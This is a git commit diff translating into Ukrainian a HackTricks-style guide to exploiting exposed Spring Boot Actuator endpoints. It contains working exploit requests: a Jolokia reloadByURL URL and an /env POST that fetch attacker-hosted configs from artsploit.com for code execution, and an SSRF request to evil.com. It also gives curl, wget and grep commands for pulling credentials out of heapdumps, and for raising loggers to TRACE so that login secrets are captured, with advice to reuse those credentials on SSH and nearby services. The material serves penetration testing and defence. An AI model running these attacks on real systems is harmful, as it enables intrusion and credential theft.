Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

This commit is contained in:
Translator 2025-09-03 16:55:28 +00:00
parent ec7bd5ae96
commit 389b86e753
2 changed files with 412 additions and 311 deletions

File diff suppressed because it is too large Load Diff

View File

@ -6,30 +6,30 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**З** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) **Джерело** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Використання Spring Boot Actuators ## Exploiting Spring Boot Actuators
**Перегляньте оригінальну публікацію з** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] **Перегляньте оригінальний допис за** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Ключові моменти:** ### **Ключові моменти:**
- Spring Boot Actuators реєструють кінцеві точки, такі як `/health`, `/trace`, `/beans`, `/env` тощо. У версіях з 1 до 1.4 ці кінцеві точки доступні без аутентифікації. З версії 1.5 і далі лише `/health` та `/info` за замовчуванням не є чутливими, але розробники часто відключають цю безпеку. - Spring Boot Actuators реєструють endpoints, такі як `/health`, `/trace`, `/beans`, `/env` тощо. У версіях 1 до 1.4 ці endpoints доступні без автентифікації. З версії 1.5 за замовчуванням не чутливими залишаються лише `/health` та `/info`, але розробники часто вимикають цей захист.
- Деякі кінцеві точки Actuator можуть розкривати чутливі дані або дозволяти шкідливі дії: - Деякі Actuator endpoints можуть розкривати чутливі дані або дозволяти шкідливі дії:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` та `/heapdump`. - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, та `/heapdump`.
- У Spring Boot 1.x, актюатори реєструються під кореневою URL, тоді як у 2.x вони знаходяться під базовим шляхом `/actuator/`. - У Spring Boot 1.x actuators реєструються під кореневим URL, тоді як у 2.x вони розміщуються під базовим шляхом `/actuator/`.
### **Техніки експлуатації:** ### **Exploitation Techniques:**
1. **Віддалене виконання коду через '/jolokia'**: 1. **Remote Code Execution via '/jolokia'**:
- Кінцева точка актора `/jolokia` відкриває бібліотеку Jolokia, яка дозволяє HTTP доступ до MBeans. - Еndpoint `/jolokia` відкриває Jolokia Library, яка дозволяє доступ до MBeans через HTTP.
- Дію `reloadByURL` можна експлуатувати для перезавантаження конфігурацій журналювання з зовнішнього URL, що може призвести до сліпого XXE або віддаленого виконання коду через спеціально підготовлені XML конфігурації. - Дію `reloadByURL` можна експлуатувати для перезавантаження конфігурацій логування з зовнішнього URL, що може призвести до blind XXE або Remote Code Execution через спеціально сформований XML.
- Приклад URL для експлуатації: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. - Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Модифікація конфігурації через '/env'**: 2. **Config Modification via '/env'**:
- Якщо присутні бібліотеки Spring Cloud, кінцева точка `/env` дозволяє модифікацію властивостей середовища. - Якщо присутні Spring Cloud Libraries, endpoint `/env` дозволяє змінювати параметри оточення.
- Властивості можна маніпулювати для експлуатації вразливостей, таких як вразливість десеріалізації XStream у службі Eureka serviceURL. - Властивості можна маніпулювати для експлуатації вразливостей, наприклад вразливості десеріалізації XStream у Eureka serviceURL.
- Приклад POST запиту для експлуатації: - Example exploit POST request:
``` ```
POST /env HTTP/1.1 POST /env HTTP/1.1
@ -40,25 +40,101 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
``` ```
3. **Інші корисні налаштування**: 3. **Other Useful Settings**:
- Властивості, такі як `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` та `spring.datasource.tomcat.max-active`, можна маніпулювати для різних експлуатацій, таких як SQL-ін'єкція або зміна рядків підключення до бази даних. - Властивості на кшталт `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, та `spring.datasource.tomcat.max-active` можна змінювати для різних експлойтів, наприклад SQL injection або зміни рядків підключення до БД.
### **Додаткова інформація:** ### **Додаткова інформація:**
- Повний список стандартних актюаторів можна знайти [тут](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). - Повний список дефолтних actuators можна знайти [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Кінцева точка `/env` у Spring Boot 2.x використовує формат JSON для модифікації властивостей, але загальна концепція залишається такою ж. - Endpoint `/env` в Spring Boot 2.x використовує JSON-формат для зміни властивостей, але загальна концепція лишається тією ж.
### **Супутні теми:** ### **Пов'язані теми:**
1. **Env + H2 RCE**: 1. **Env + H2 RCE**:
- Деталі про експлуатацію комбінації кінцевої точки `/env` та бази даних H2 можна знайти [тут](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). - Деталі щодо експлуатації поєднання `/env` та H2 можна знайти [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF на Spring Boot через неправильну інтерпретацію імені шляху**: 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Обробка матричних параметрів (`;`) у HTTP іменах шляхів фреймворком Spring може бути використана для Server-Side Request Forgery (SSRF). - Обробка Spring framework matrix parameters (`;`) у HTTP-шляхах може бути використана для Server-Side Request Forgery (SSRF).
- Приклад запиту для експлуатації: - Example exploit request:
```http ```http
GET ;@evil.com/url HTTP/1.1 GET ;@evil.com/url HTTP/1.1
Host: target.com Host: target.com
Connection: close Connection: close
``` ```
## HeapDump — пошук секретів (credentials, tokens, internal URLs)
Якщо `/actuator/heapdump` доступний, зазвичай можна отримати повний знімок JVM heap, який часто містить живі секрети (облікові дані БД, API-ключі, Basic-Auth, внутрішні URL сервісів, мапи властивостей Spring тощо).
- Завантаження та швидка первинна перевірка:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```
- Глибший аналіз за допомогою VisualVM та OQL:
- Відкрийте heapdump у VisualVM, перевірте екземпляри `java.lang.String` або запустіть OQL для пошуку секретів:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```
- Автоматизований витяг за допомогою JDumpSpider:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Типові знахідки високої цінності:
- Об’єкти Spring `DataSourceProperties` / `HikariDataSource`, що містять `url`, `username`, `password`.
- `OriginTrackedMapPropertySource` записи, що виявляють `management.endpoints.web.exposure.include`, порти сервісів і вбудований Basic-Auth у URL (наприклад Eureka `defaultZone`).
- Фрагменти HTTP запитів/відповідей у явному вигляді, що містять `Authorization: Basic ...`, захоплені в пам'яті.
Поради:
- Використовуйте спрямований на Spring словник для швидкого виявлення actuator endpoint-ів (наприклад, SecLists spring-boot.txt) і завжди перевіряйте, чи також доступні `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` та `/actuator/configprops`.
- Облікові дані з heapdump часто працюють для суміжних сервісів і іноді для системних користувачів (SSH), тому перевіряйте їх широко.
## Abusing Actuator loggers/logging to capture credentials
Якщо `management.endpoints.web.exposure.include` дозволяє і `/actuator/loggers` доступний, ви можете динамічно підвищити рівні логування до DEBUG/TRACE для пакетів, що обробляють аутентифікацію та обробку запитів. У поєднанні з доступними логами (через `/actuator/logfile` або відомі шляхи логів) це може lead to leak credentials, що відправляються під час логін-флоу (наприклад, Basic-Auth заголовки або параметри форм).
- Перелічіть і підвищіть чутливі логери:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .
# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```
- Знайдіть, куди пишуться логи, і зберіть їх:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Ініціюйте трафік логіну/автентифікації і проаналізуйте лог на наявність creds. У мікросервісних архітектурах з gateway перед аутентифікацією увімкнення TRACE для gateway/security пакетів часто робить видимими заголовки та тіла форм. Деякі середовища навіть періодично генерують синтетичний логін-трафік, що робить збір триальних простим, коли логування детальне.
Примітки:
- Поверніть рівні логування назад після завершення: `POST /actuator/loggers/<logger>` з тілом `{ "configuredLevel": null }`.
- Якщо `/actuator/httpexchanges` доступний, він також може показувати метадані недавніх запитів, які можуть містити чутливі заголовки.
## Джерела
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
- [0xdf HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}